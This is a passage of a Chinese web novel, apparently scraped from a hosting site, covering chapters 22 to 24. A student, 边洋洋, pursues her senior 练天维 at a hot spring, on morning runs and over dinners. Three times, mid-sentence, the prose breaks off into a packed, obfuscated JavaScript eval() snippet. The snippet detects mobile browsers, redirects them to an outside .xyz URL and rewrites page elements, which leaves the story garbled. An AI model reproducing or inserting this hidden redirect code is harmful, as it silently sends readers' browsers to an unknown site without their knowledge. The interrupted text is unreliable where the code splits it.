吕欢事先跟她爸打了电话，让他来接人。他们家开车到滑雪场就十分钟左右，三人刚到门口就看到了吕爸爸的车。 回去的路上，吕爸爸跟他们唠嗑儿，“你们难得来一趟，怎么不多玩一会儿。” “今天太冷了，想回去感受家的温暖。”坐在副驾驶的吕欢接过了话茬儿。 “刚入住的几个客人也说今天冷，也是从滑雪场过去的。你们晚上想吃什么？叔亲自给你们下厨。” “谢谢叔，那我可就不客气了哈。”说到吃的，方心意也不玩游戏了，“我想吃涮羊肉，屋外北风呼呼吹，屋内铜锅羊肉香，嘿嘿。” “这简单，你们敞开了吃。” 吕欢的屋子的确很大，约莫四五十平米，集卧室与书房为一体。两米宽的大床旁边摆了一张简易的单人床。 边洋洋很小就自己一个人睡，不习惯跟人睡一张床，率先开口道：“我睡单人床。”说着就把书包放到了单人床上，像是在宣示主权。 吕欢挠了挠头，“本来还想让你俩睡大床，我睡单人床的，既然洋洋你要睡，那我就睡床啰。” 方心意丝毫不客气，跟在自己宿舍似的，换好一次性拖鞋就往大床上坐。 “你这床舒服，比宿舍的床可舒服多了。” 吕妈妈敲门进来，手上端着一大盘卤味，“给你们弄点小零食吃着，来这儿就跟自己家一样，都别拘着啊。” 边洋洋站得离门口近，连忙上前接过，“谢谢阿姨，好香～” 方心意也起身走了过来，伸手抓了一块鹅掌，“阿姨的卤味真是一绝。” “那你俩就多吃点儿，吃完自己到厨房拿去，你们年轻人自己玩儿，阿姨先走了啊。诶对了，现在泡温泉的人不多，你们想去泡可以现在过去。” “好嘞，阿姨再见～” 边洋洋把人送到门口，正要关上房门时，她听到了一个熟悉的声音。 这声音他太熟悉太喜欢了，自求职交流会后每晚睡前必听。猝不及防听到这声音，心跳又不受控制地加快了。 “这儿的饭菜还不错吧。” 这是练天维的声音。 “挺好的，郊区空气也不错。” 这是女人的声音，应该就是练天维的妈妈。 边洋洋本想迅速关门假装没看见，却又被强烈的好奇心驱使着，想看看练天维的男朋友长什么样。 22. 第 22 章 一行人越走越近，边洋洋深吸口气，挪了一步站在了走道上，笑着对练天维打招呼，“学长，你们也住这里啊。” “对啊，我看网上评价不错，就选了这里。”练天维笑道。 “天维，这是你校友啊？”练天维妈妈笑着看向边洋洋，问道。 练天维点点头，“嗯。” 落在后面的陶然凑了上来，“校友啊，我怎么不认识，你什么时候偷偷背着我结交学妹了。” 边洋洋直直地盯着陶然，对陶然这种亲昵的话语又反感又嫉妒。平心而论，陶然长得不错，穿着一身名牌，颇有点儿纨绔气质。学长怎么会喜欢这种风格的？！ 练天维扒拉开陶然搁在自己肩膀上的手，“妈，您跟陶然先去前面看看房间，我一会儿再过去。” 练天维的妈妈看着像高级知识分子，也像女强人，虽是笑着的，却并不怎么平易近人，跟吕妈妈是完全不同的类型。 边洋洋不太敢跟她直视，匆匆一瞥，感慨他们母子长得还挺像，想来年轻时也是个大美人。 陶然带着练天维妈妈离开时，看了眼边洋洋，也看了眼练天维，眼里满是戏谑。 “洋洋，谢谢你推荐了这么好的地方，我们都很喜欢。” 边洋洋目光闪躲，说了句不合时宜的话，“如果不是陪你妈妈，你会跟我们一起来玩儿吗？” 这语气，委屈又可怜巴巴，练天维心里蓦地一软，“应该，会吧。” “带着那个陶然吗？”边洋洋也不知道自己在胡言乱语个什么劲儿，反正都这样了，干脆豁出去算了，小声道，“你俩看着还挺配的。” 但是，我不想祝福你。 练天维轻轻低笑，“我跟他配？你是第一个这么说的。” 边洋洋心说，我说得挺违心的，难道你没听出来？！ “想什么呢小朋友，我跟陶然是好哥们儿，高中就认识了，他就是我的房东兼室友。” 练天维没想到边洋洋竟然把他的玩笑话当真，真话当玩笑。这样就能解释边洋洋的行为了，看来，小学妹对自己的确有那种心思。 奇怪的是，练天维生平第一次没有觉得麻烦，也不想刻意疏远边洋洋。他想，反正很快就要毕业了，只要边洋洋不挑破，他就随心而为。等毕业分开后，彼此就会渐渐淡忘了，谁也不会伤害谁。以这学妹的性子，应该不像是会主动表白的类型。 所以，发现边洋洋误会吃醋后，他耐心跟她解释了。 边洋洋果然肉眼可见地开心了起来，脸上流露出一点羞涩，“学长你今天滑雪好帅啊！” 俩人的说话声引来了吕欢。 “学长你竟然来我家住了！蓬荜生辉啊。” 吕欢一来就打断了边洋洋的彩虹屁，热情地跟练天维介绍起了自家的农家乐，末了来了一句，“咱们一起去泡温泉吧，上午滑雪累了，下午去泡泡正好，到了晚上人就多了。” 边洋洋眼睛一亮，这个提议好。 她很想附和，想了想还是觉得自己应该矜持一点儿，便没说话。 吕欢扭头看边洋洋，朝她挤眉弄眼，那样子像在说，“我在努力给你俩制造机会呢。” 边洋洋故意不看吕欢，练天维开口了，“好啊，一会儿见。” “太好了～”吕欢说，“那我先去温泉池那边准备一下，等你们过来。” 想到一会儿就能看到练天维的身材，边洋洋心里雀跃不已，这进度可以！这一天过得，真够刺激的。 进屋后，吕欢用胳膊肘拐了拐边洋洋，“一会儿我要看学长的身材，你不介意吧？嘻嘻～” 边洋洋：“他又不是我的私有物，轮得着我介意么。” 方心意：“趁他还不是你的私有物，我也要看～” 跟温泉酒店的室内温泉汤池不同，吕欢家这天然的温泉池原本是户外的。在她小时候，家里还没有经营集餐饮住宿泡温泉一体的农家乐，村里人就会带个垫子坐在地上，光着脚丫在池子里泡脚。水里温热，地上冻人，那滋味儿，真是酸爽。 客人多起来后，有些人就不乐意只是泡脚了。所以吕爸爸就把池子给围了起来，找建筑工程队建了四面薄墙搭了个顶，这样就不漏风了，可以整个人泡在池子里了。 练天维和陶然泡过不少温泉，这绝对是他们见过的最粗糙简陋的环境，但胜在是真天然，陶然觉得可以一泡。 练天维妈妈看了一圈儿，说：“你们年轻人自己玩儿吧，我在周围转转。” 待她走后，边洋洋她们三个才放松下来。吕欢招呼着练天维和陶然，很快跟陶然混熟了。边洋洋心无旁骛地坐在温泉池的一角，时不时跟练天维聊几句，方心意听说陶然也玩儿游戏，就加入了他们。 于是，五个人分成了两个小团体。三个玩游戏的，两个聊天的。 温泉池里人是真的少，除了他们，只有角落里有两个微胖的中年男子在闭目养神。 练天维脱下羽绒服，浴袍的带子散开了，漂亮的胸肌腹肌一览无遗，下半身只穿了条黑色的泳裤。他利落地扯开浴袍，放到了一旁的躺椅上，然后缓缓走入了温泉池，靠着池边坐了下来。 边洋洋面红耳赤地别开了脸，学长的身材真好啊，她怕多看几秒自己会一脸花痴样儿。人没追到手，还是得注意形象，要矜持！ 吕欢他们也相继脱了衣服下水了，凑在一块儿打起了游戏，也不知道是不是故意给边洋洋和练天维制造独处的机会。 “你穿着羽绒服不热吗？”练天维忽然侧头问还呆立在池边的边洋洋。 热，可热了。边洋洋赶紧脱了羽绒服放好，她身上穿着米色的浴袍，带子系得很紧，浴袍底下是一套偏保守的泳装。 在学校游泳馆游泳的时候也是男女混游，边洋洋从未觉得有什么，或许是现在心思不纯，反倒扭捏起来不好意思除去浴袍。 “学长，你会游泳吗？”边洋洋岔开话题，慢吞吞远离练天维几步后才褪去了浴袍，然后迅速进了温泉池坐好，水面漫及胸部。 练天维笑着说：“会啊。”他说话的时候看的是水面漾起的波纹。 边洋洋又兴奋又紧张，她想起了之前做过的那些梦，便忍不住偷偷地瞟了眼相隔两米左右的练天维。 练天维的脊背挺直，皮肤光滑。边洋洋心猿意马，心说学长真是穿衣显瘦脱衣有肉。 陶然突然抬头看过来，打游戏的动作都停了，眼里闪烁着八卦之魂，喊了声“练天维”，用口型对他说，“加油哦！” 陶然没当着众人的面说出来，是怕把学妹给吓到了。好友好不容易铁树开花，俩人看着挺登对的，一起泡温泉神马的有利于感情升温。 吕欢和方心意也看了一眼离她们好几米远的两人，默契地笑了笑。 练天维没理陶然，而是继续跟边洋洋聊天，“我都叫你名字了，你也不要叫我学长了吧。” “那叫什么？”边洋洋想了想，“练哥？” “随便。” “那我以后就叫你练哥了。” 对一个人称呼的改变往往意味着两人关系的变化。边洋洋心里开心极了，觉得她今天跟练天维的关系又有了重大突破。 大约十分钟后，服务员送来了姜茶，边洋洋起身去接了两杯姜茶，往练天维的方向挪动了几步，把其中一杯递给练天维，“喝吗？” 练天维接过，浅尝一口，“谢谢，我觉得味道还可以。” 边洋洋看着练天维喝姜茶的样子，想移开目光却一动不动地盯着，看得她口干舌燥，赶紧喝了一大口。 今晚不把自己喝晕乎怕是睡不好了。 边洋洋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317149|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝完姜茶，把杯子放到池边，才发现她现在跟练天维只隔了半米的距离。水里很温暖，水面冒着热气，水下的光景并不清晰。 边洋洋微微侧头，近距离看到练天维的腹肌，下意识数了一下，六块漂亮的腹肌，哇哦。 她佯装镇定，看了下打游戏的三人，他们仨离得也挺近的，于是放下心来。她笑着问道：“练哥，你平时都怎么锻炼身体的啊？” 练天维饶有兴致地看着她的双眼，在氤氲热气里熠熠生辉，“主要是跑步和打蓝球。” 边洋洋发现练天维从始至终都没有看她的身体，要么说话时跟她对视，要么看远处的水面，眼神坦坦荡荡，对他的好感便又添了几分，真是个正人君子呢。 “我也想跑步减肥，可是我懒，锻炼总是三天打鱼两天晒网的。” 练天维：“我觉得你现在这样就挺好的，别刻意减肥，身体健康最重要。” “我以前也这么想，不过，现在觉得可以把身材练得更好一点儿。”边洋洋心虚地收回目光，双手轻轻划了下水。 “那你每天早上跟我一起跑步吧，绕着操场十公里，就当强身健体了。” 边洋洋一听十公里差点吓尿了。她迄今为止跑得最远的距离也就是五公里，每天十公里怕不是要了她的老命！但是，可以跟喜欢的人每天独处，诱惑不可谓不大。 权衡利弊，她咬牙点头。 “我平时比较缺乏锻炼，一下子跑十公里估计不太行，要不循序渐进，先从三公里开始？” 练天维看着她那小心翼翼的模样轻笑了声，“你想怎样都行，我又不是你的体育老师，不用这么害怕。” 独处的时间似乎过得特别快，眨眼一个小时就过去了。 泡完温泉，吕欢邀请陶然和练天维晚上跟她们一起吃涮羊肉。 “不了，我晚上得陪我妈。”练天维看向陶然，“你可以跟她们一起，不用顾及我们。” “阿姨难得来一趟，我肯定得陪着啊。反正大家都是A大的，以后约饭的机会多着呢，是吧。” “对对，不差这一顿。”吕欢刚才邀请的时候的确是忽略了练天维他妈，所以就没再坚持了。 陶然和练天维住一间，房间正好在吕欢房间的隔壁。平时客人少的时候，吕欢住的这一层楼是不开放给客人的。原本打算留给方心意和边洋洋的房间正是练天维他们订的这两间。 回到客房后，陶然问练天维：“你跟那个叫边洋洋的学妹是什么关系？” 练天维想了想，“网友变朋友？” “不是网友变恋人？”陶然显然不信，“咱俩认识这么多年，还是第一次见你光着上身跟女生聊天聊得那么愉快呢，以前的你对追求者可是唯恐避之不及。” 练天维正色道：“不是恋人，她要出国，我要回阳城，我们之间没可能，你想多了。” “不考虑别的，单纯说你对她的感觉，你喜欢她吗？”陶然问。 “我不知道，因为我还没喜欢过谁。”练天维说得认真，陶然选择相信他。 “但我觉得你对那个学妹不一般，以我纵横情场的经验，你可能动心不自知吧。” “我跟你不一样，你的经验对我没用。”练天维走向卫生间，“我要洗澡了，这事儿就到此为止，我不想在没意义的事情上浪费时间。” 陶然：“……不就是谈个恋爱吗，多大点儿事，你这人有时候怎么就那么轴呢。” 就边洋洋今天在温泉池的表现，陶然觉得是个人都能看出来边洋洋对练天维有那方面的心思，所以他才一直拉着她的两位室友打游戏。这学妹长得倒是不错，看着人也单纯，就是不知道能不能捂热练天维的心。 陶然觉得自己对练天维感情的事儿可太操心了，比自己的还操心，偏偏练天维还不领情。 23. 第 23 章 晚上的涮羊肉是在吕欢的房间吃的，三人吃得肚皮溜圆，懒洋洋瘫在床上不愿动弹。 边洋洋拍了张杯盘狼藉的照片发给练天维，问他们吃了什么，还顺手把他的备注名改成了“练哥”。 练天维也拍了张照片发给她，是铜火锅涮羊肉。 边洋洋又问他们明天去哪儿玩，练天维回复说他妈妈想回A大了，明天吃过早饭后就回去。 洋洋得意：哪一天可以跟你一起跑步呢？ 练哥：你回学校后就可以啊。 洋洋得意：好哒.jpg 吕欢躺了会儿就起来把锅碗瓢盆给收了，然后从收银台找了副扑克牌。 三人坐在大床上斗地主斗到半夜，最后边洋洋成了最大输家。这就是传说中的情场得意赌场失意么，边洋洋输得还挺开心。 方心意赢得最多，“吃饭还是打车，你们选一个。” 边洋洋闻言更高兴了，“阔以阔以，方老板豪气，我选吃饭。” 反正没什么行李，坐巴士也方便，吕欢也跟着选了吃饭。 熬夜熬晕乎了，边洋洋是想着练天维入睡的，睡着后脸上都带着笑。 翌日。 边洋洋迷糊醒来的时候，发现练天维给她发了信息，说他们已经离开了，老板给打了五折，让她帮忙谢谢吕欢。 洋洋得意：就口头谢吗【调皮】 练哥：回头请你俩吃饭。 洋洋得意：为什么要请我【问号脸】 练哥：你不想去我就单独请她。 洋洋得意：想去！！蹭饭怎么能少了我呢【眨眼】 经过昨天，边洋洋觉得自己变得放肆了，跟练天维聊天完全不把他当高高在上的学长了，似乎他们之间一下变得平等了。 她很喜欢这种感觉，跟喜欢的人平起平坐的感觉。 假期结束后的周一早上六点半，闹钟准时响起。怕吵到室友，边洋洋着急忙慌地按了停止，一骨碌爬起来换衣服洗漱。 如果把早起跑步这事儿看作是跟心上人约会，那它就是一件享受的事儿而不是折磨。 边洋洋昨天回宿舍后把大一上体育课时买的跑步鞋翻了出来，八成新，洗完九成新，总算在毕业前充分发挥了它存在的价值。 赶到东操场门口时，正好7点整，练天维已经等在那里了。 “来啦，”他以为边洋洋只是随便说说，没想到真的来了，“我们做下热身就开始吧。” “好的。” 边洋洋四处张望，发现早起锻炼的同学还不少。这哪儿是独处啊，跟上体育课似的。 “我今天的目标是跑完三公里。”边洋洋脱下羽绒服，学着练天维的动作做热身，朝阳初升，阳光下的练大帅哥好像在发光，赏心悦目。 “可以。你跑完了可以先行离开，不用等我。” “那怎么行，说好一起运动的，我跑完就在操场慢走，等你一起吃早饭。” 边洋洋心说，一大早爬起来不就是为了跟你多待一会儿么，跑步什么的都是借口。 练天维笑了笑没说话。 做完热身，边洋洋跟练天维并排慢跑，跑了两圈就喘得不行，而练天维跟没事儿人一样。差距啊……果然不是人人都配拥有腹肌的。 练天维见她脚步虚浮，一张鹅蛋脸通红，“你速度放慢点儿，还有五圈半，加油。” 呃，你这么较真儿我都不好意思偷懒了。 边洋洋本来都想停下来走路了，听他这么一说，只得放慢速度继续跑，眼睁睁看着练天维离她越来越远。 她大口吸着清晨的冷空气，嗓子越来越难受，想放弃的念头越来越强烈。好不容易又跑了一圈，练天维跑到了她身边，笑着对她说，“加油，洋洋。” 边洋洋脚步一顿，怀疑自己听错了，虽然这不是练天维第一次叫她“洋洋”，但这一次她似乎听出了宠溺的味道，超级温柔。不知哪里来的一股力气，边洋洋奋力向前追上了练天维，喘着粗气回答他：“好的，练哥。” 练天维呼吸如常，“你可以跑慢一点儿。” “好，好，”边洋洋力竭，速度陡然慢了下来，跟练天维又拉开了距离，“你说话太，好听了。” 如果此时她还有多余的力气，能原地蹦三尺高。或许，学长对自己也是有好感的呢。 这么一想，跑步的动力又有了，虽然跑得很吃力。艰难地跑完三公里，边洋洋停下来慢慢沿着跑道溜达，目光始终追逐着人群里最靓的那个身影。 练天维的妈妈住在A大的酒店，酒店提供丰盛的早餐，故而练天维跑完步可以跟边洋洋一起去学校的食堂吃早餐。 等练天维跑完十公里，两人一起往食堂走的时候，边洋洋调皮地问他：“练哥你打算什么时候请我们吃饭啊？” 练天维打开手机看了下日历，“我最快这周六晚上有空，你们呢？” 过完元旦很快就要放寒假了，边洋洋想在回家前多点机会跟练天维在一起，也不管吕欢周六有没有空，她自作主张给答应了下来。 “我们随时都可以的。” “那你们想吃什么？” “我们都可以，学长你挑吧。” “好，要是不合你们口味，就不要怪我哦。” 重要的是吃什么吗，当然不是，边洋洋笑道：“怎么会呢，你选的我都喜欢。”你的一切我都喜欢得不得了，爱情果然令人盲目。 有期待的日子似乎过得很慢，等到了周六那天，边洋洋又觉得日子过得太快。 吕欢并不想去当电灯泡，“洋洋，要不我就不去了吧，你好好把握这次机会～” “那怎么行，学长是为了感谢你，我是蹭饭的。” 吕欢只好作罢，“行吧。” 边洋洋正在来来回回地换衣服，自个儿换衣服也就算了，每换一身都要问吕欢好不好看，跟新外套搭不搭…… “这个不错。” “这也挺好。” “你靠脸就行了，衣服真的不重要，你穿什么都好看。” 边洋洋觉得吕欢的评价主观色彩太浓厚，决定不予参考，干脆跑隔壁宿舍去折腾另一个很会打扮的女同学了。 有男朋友的人是不一样。 这位同学说的字儿比吕欢可多多了，而且听起来有理有据。 “这件毛衣的颜色跟外套不太搭，赶紧脱了。” “这裤子太宽松了，衬不出你的气质，换换换。” “上衣和裤子倒是顺眼了，这跑步鞋是怎么回事？你面试穿那鞋比较搭。” …… 这一通折腾，边洋洋和吕欢紧赶慢赶才卡着点儿到了学校西门，她们跟练天维约好见面的地方。 刚到西门，气儿还没喘匀呢，边洋洋就被人从身后轻拍了肩膀。他们约的五点见面，特意错开晚饭高峰期，这会儿西门进出的学生不多。打眼一看，没有熟人。 肯定是学长！ 明明早上才一起跑过步吃过早餐，边洋洋的心跳还是蓦地加快了，稍微平复了一下才面带笑容转身看人。 练天维今天穿得比较休闲，牛仔裤搭中长款深蓝色呢子大衣。 “学长好！” 吕欢先边洋洋一步跟练天维打了招呼。 “你好。”练天维手上提了一个精美的袋子，他看了下手机，“我叫了车，很快就到了，我们去路边等吧。” 吃饭的地方在一条狭窄的街巷里边儿，是一条只能容一辆车通过的单行道。巷道整洁有序，两旁是各种小店，水果店、小吃店、宠物用品店、便利店等，充满了烟火气。 练天维带着吕欢和边洋洋停在了一块普通灯箱招牌下面，写着陶李私房菜馆。 “到了。” 练天维掀开棉被般厚重的门帘，示意她俩先进去。 没想到普普通通的门面，里面却是别有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317150|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洞天，干净整洁，装修清雅。私房菜馆生意不错，座无虚席却并不很吵闹。 练天维进门之后带着俩人先去了收银台，对坐在里面正在玩手机的女人叫了声“李姨。” 中年女人闻声立马放下手机站了起来，热情道：“哎哟，天维来啦，你可是好久没来店里了。”她看了眼吕欢和边洋洋，“带朋友来了？” “嗯。她们是我的学妹，这是吕欢，这是边洋洋。” “你们好，欢迎欢迎。” 俩人乖巧地叫了声“李姨好”。 “小姑娘长得真标致哟。”李姨从收银台走出来，“带你们去包厢，菜都准备好了。” 练天维把手上的袋子递给李姨，“这是我妈给您和陶叔的新年礼物。” 李姨接过袋子，打开瞅了一眼，“你妈有心了。”然后小心把袋子收在了收银台下面的抽屉里。 去包厢的路上遇到一个服务员，李姨叫住他，“小马，v01的菜可以上了。” “好的老板娘，我这就去通知厨房。” 李姨领他们去的正是v01。包厢不像是一般餐厅的配置，倒像是自家吃饭的餐厅。 “你们先吃饭，吃完再聊哈。”李姨说完就离开了。 练天维拉开两把椅子示意边洋洋和吕欢坐下，“这儿是李姨他们自己吃饭的地方，很清静，是不是觉得有家的感觉？” 边洋洋点头，“难怪，练哥跟这儿的老板很熟？” 吕欢诧异又八卦地看向边洋洋，那目光似在说，为什么你叫的是练哥！！？ 边洋洋不好意思地冲她笑了笑，并没打算解释。 练天维在边洋洋旁边的位置坐下了，“嗯，他们是我妈的朋友，掌勺的陶老板以前是一家研究院的研究员，离职后就回北城开了这家餐厅。” 吕欢：“原来是这样，高手在民间啊。” 练天维：“我很喜欢他们做的菜，你说你不挑食，我就自作主张把菜提前点了。带你们来这里有我的私心，刚才你们也看到了，我妈有东西让我转交给他们，希望你们不要介意。” 边洋洋把茶壶转到自己面前，替练天维倒了一杯，“怎么会介意呢，这里生意这么好，肯定很好吃的了。” 吕欢自觉地把自己的茶杯摆在了边洋洋面前，“是啊，刚才一路走过来，闻着都特香。” 说话间，服务员推着小车敲门进来，小车上放着他们点的菜。 服务员一边上菜一边介绍，“这是沸腾鱼，这是辣子鸡，这是烤羊排，这是鸡汤豌豆尖，这是莲藕排骨汤，这是油盐饭。” 上完菜，服务员微微躬身，“三位慢用，有需要随时叫我们。” 练天维：“谢谢。” 麻辣鲜香袭来，边洋洋忍不住咽了下口水。室内有暖气，她把外套脱了搭在椅背上。 练天维看了看她，眼里满是赞赏，“你今天，气色不错。” 目的达到了，边洋洋高兴坏了，笑着说了声“谢谢”。 他俩说话声音不大，要是在楼下大厅，吕欢估计也就听不到了。奈何这包厢实在是安静，有那么一瞬间，吕欢觉得自己有点多余，就好像头顶那明晃晃的电灯泡。 啊！我仿佛吃了一嘴狗粮。 练天维帮她们各盛了一碗油盐饭，然后又拿公筷给她们夹了沸腾鱼片，像极了照顾妹妹的大哥哥，“这道菜是陶叔的拿手菜，你们尝尝看喜不喜欢。” 好绅士一男人！吕欢边吃边想，学长这会儿对我俩倒是一视同仁了。 “鱼片嫩滑入味，很好吃。”吕欢真心夸赞。 边洋洋也连连点头，“是我吃过最好吃的沸腾鱼了。” 练天维：“知道你们能吃辣我才带你们来的，喜欢就好。” 边洋洋想了一路，还有半年就毕业了，时间不等人，既然喜欢他，有些问题就得尽早弄清楚。趁现在有第三人在，正是打听一些私人问题的最佳时机。 24. 第 24 章 “练哥，当时加你扣扣咨询你找工作问题的是不是特别多啊？” 练天维抬头望向她，笑道：“是挺多的。不过，现在都删得差不多了。” 吕欢忽然想起之前申请加练天维好友，似乎一直没通过。 “为什么啊？” “有的不是来问工作相关的，有的已经帮完了，没必要再联系，就删了。” 边洋洋脱口而出，“那你为什么没删我？” 现在撤回还来得及吗，这什么傻问题，边洋洋现在就十分后悔！万一学长回去就把自己给删了呢…… 练天维笑而不语，继续喝莲藕排骨汤。其实他是有动过念头删掉边洋洋的，却鬼使神差没下得去手。边洋洋跟其他人终究还是不一样，她于他而言，并不是全然的陌生人。 边洋洋端起茶杯给自己灌了一大口水，差点呛到。 “哈哈，学长你现在就删了她。”吕欢看热闹不嫌事大，趁机助攻，“我猜那些不问工作的，一定是被学长的优秀所吸引，想跟学长谈恋爱吧，八卦一下学长哈，你谈过多少个女朋友啊？” 练天维笑道：“没想到你还挺八卦。” 边洋洋竖起耳朵，追问了一句，“学长以前有过女朋友吗？” “怎么想起问这个了？”练天维这话是对边洋洋说的。 当然是为了追你了。 边洋洋还真不是个爱八卦的，对别人的感情问题根本不感兴趣，除了此刻坐在她旁边的练天维。 “你条件这么好，现在又是单身，就有点好奇什么样的女孩儿能入你的眼，嘿嘿。” 边洋洋今天还真就要打破砂锅问到底，“到底有没有嘛。” “没。” 边洋洋听到这个答案高兴惨了，她岂不是可以放心大胆地追了！ 她继续试探，“这不太科学啊，学长眼光太高了吧？” 吕欢也觉得有些不可思议，学长也太耐得住寂寞了，该不会是有什么问题吧？！ “那倒不是，只是觉得不合适。而且，学校里的爱情大多不能长久，既然注定陌路，就没必要浪费时间和精力了。” 吕欢想起了交流会海报上练天维的简介，深以为然，学长这种事业型男人就是觉悟高。 “我也觉得，所以我就没在大学谈恋爱。” 边洋洋从这话里读到的是，练天维现在应该没有喜欢的人，选择性忽略了他也表达了不会在学校里谈恋爱这层意思。 她斟酌措辞，尽力掩饰自己的兴奋，“学长说的这种情况的确存在，但我们不能否认，校园爱情是很纯粹的，如果遇到合适的人了，还是应该把握住机会，说不定以后就再也遇不到了。” 练天维不置可否，“或许吧。” 明显没被说服，边洋洋心想。 她继续努力，“如果两个人真心相爱，奔着同一个目标一起努力，就不会毕业即分手了吧。等以后老了回忆起一起走过的青春，想来也是很浪漫的吧。” 练天维抬眸，“看来洋洋你很向往校园爱情啊，要在毕业前找男朋友吗？” 边洋洋的脸唰地红了，支支吾吾道：“看情况吧。” 吕欢又调侃了一番边洋洋，三人说说笑笑，气氛倒是不错。 这顿饭吃得极慢，边洋洋就想多跟练天维待会儿，多听他说说话。 奈何吃得再慢也有吃完的时候。吃完饭，李姨和陶叔还在忙着，并没有时间跟他们聊天。 临走前，李姨塞给练天维两张周边游套票，“我最近腿疼的毛病犯了，你拿去找个朋友跟你一起去玩儿吧。姨今天忙没空招待你，改天休息了来家里玩儿哈。” 练天维没有推辞，“谢了李姨，我们就先走了，您忙着。” 这顿饭之后，边洋洋再跟练天维一起跑步的时候，就有意无意地试探他的态度。奈何几次试探都无果，她一点都看不懂练天维的心思。 临近寒假，边洋洋导师的课题组搞了个新年聚会，全组人员在学校附近的高档中餐厅定了个大包间聚餐。 忙碌一整年，难得放松，导师自带了几瓶在国外购买的红酒，让学生们尽情喝。 “能喝的就喝，不能喝的就喝饮料，别勉强。” 边洋洋酒量差的一逼，听导师这么说，放心地端起茶水倒进了自己的酒杯里。 “学校的环境还是相对包容的，等你们毕业进入社会了，就知道有很多的身不由己。” 听导师这么说，几个读博读硕的学长学姐都自觉地往酒杯里倒了红酒。 酒过三巡，导师话多了起来，开始一个个谈话。正在读硕的，问他们要不要继续读博。正在读博的，问他们毕业了想去哪里工作，他可以给写推荐信什么的。 轮到边洋洋了，导师说：“你是要去新国理工大学读研究生是吧？” “是的，老师。”边洋洋恭敬应答。 “我有个师兄在那里当教授，你研究生毕业了读他的博士吧，我们可以搞个联合培养，我看好你哦。” “……” 怎么就被安排得明明白白了？！边洋洋内心狂吐槽，但她不能跟一个喝了酒的人较真，更不能当着这么多人的面拂了导师的面子，只得顺从道：“谢谢老师，我会好好考虑的。” 导师满意地点了点头，继续跟下一个人谈话。 坐在边洋洋旁边的研三学长偷偷告诉她，“我们老板喝酒后话特别多，他说了什么你不必放在心上，明儿一早他自己都会忘了。” 边洋洋趁机打听，想知道研究生毕业能找什么样的工作，“学长，你工作定了吗？” “没呢，这学期忙毕业论文，没时间找工作，等下学期再说吧。” 边洋洋心说这学长可真淡定，相比之下，吕欢是不是过于着急了？ “下学期还能有好的工作机会吗？” “一般有春季补招，还是有机会的。” “你同学里面有已经拿到offer的吗？” “目前好像就一个吧。他情况有点特殊，就是他们实验室跟一家仪器厂商一直有合作，对方看中了他的技术，正好有校招职位，就直接录取了。” “他是什么方向啊？那公司怎么样啊？” “他是环境化学方向，研究持久性有机污染物的。那公司是个外企吧，据说是个五百强，不过跟我们课题组不咋相关。” 边洋洋默默地记在了心里，决定回去以后再研究一下分析化学课本上出现过的厂商，吕欢之前找工作的时候完全没关注过这样的企业，竟跟风去听那些普通大众都知道的大公司的宣讲会去了。看似门槛低实则要求高的校招职位完全就是修罗场啊，方向完全跑偏了……庆幸她在修罗场里杀出了一条血路，但她的成功经验不适用于边洋洋。 “那学长你打算找哪方面的工作啊？” “我不想去企业，我打算找事业单位吧，做科研做文职都好。” 边洋洋跟他想法恰恰相反，她想去企业打拼，虽然不够稳定，但有更多的可能性。她父母说她这种想法很天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317151|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真，最可能发生的情况是还没打拼出来企业就不在了。边洋洋反驳，企业不在了行业还在啊，一家倒闭可以去别家嘛。 争论无果。总之，她父母听说她拿到国外研究生的全奖offer后很开心，以后的事以后再说。 那天聚餐回去之后有点晚了。边洋洋打开扣扣，见练天维还在线，就忍不住把晚上的见闻跟他分享了。 练天维说，各人有各人的选择，没有十全十美的工作和工作单位，自己喜欢就好。 他说这话，边洋洋就自动识别为是在支持她了。看了下日历上接下来的安排，腊八节那天有空，便问练天维方不方便一起吃顿饭什么的。 练天维说没问题，边洋洋乐坏了。她躺在床上打开浏览器搜索“腊八节送什么礼物”，出来的答案都不适合送在校学生。 二月有情人节，要不等到那时再送礼物？ 就这么愉快地决定了。边洋洋美滋滋地进入了梦乡。 等待腊八到来的日子并不难熬。边洋洋忙着看文献写报告，还要应付毕业论文的中期考核，忙碌的日子过得很快。 元旦过后导师发了劳务费，因为年节将近，比平时的多了一倍。边洋洋特豪气地让练天维选吃饭的地方，叫他不要在意价格，说自己现在钱包很鼓。 这次约饭的见面地点在民族大学的正门。 练天维临时被导师安排去接替周晗的工作，因为周晗折腾了两天还没解决问题，校方不满意了。他去之前担心问题太过棘手赶不及回A大跟边洋洋会面，而他订的餐厅又恰好离民族大学比较近，便叫边洋洋自己坐车到民族大学跟他汇合。 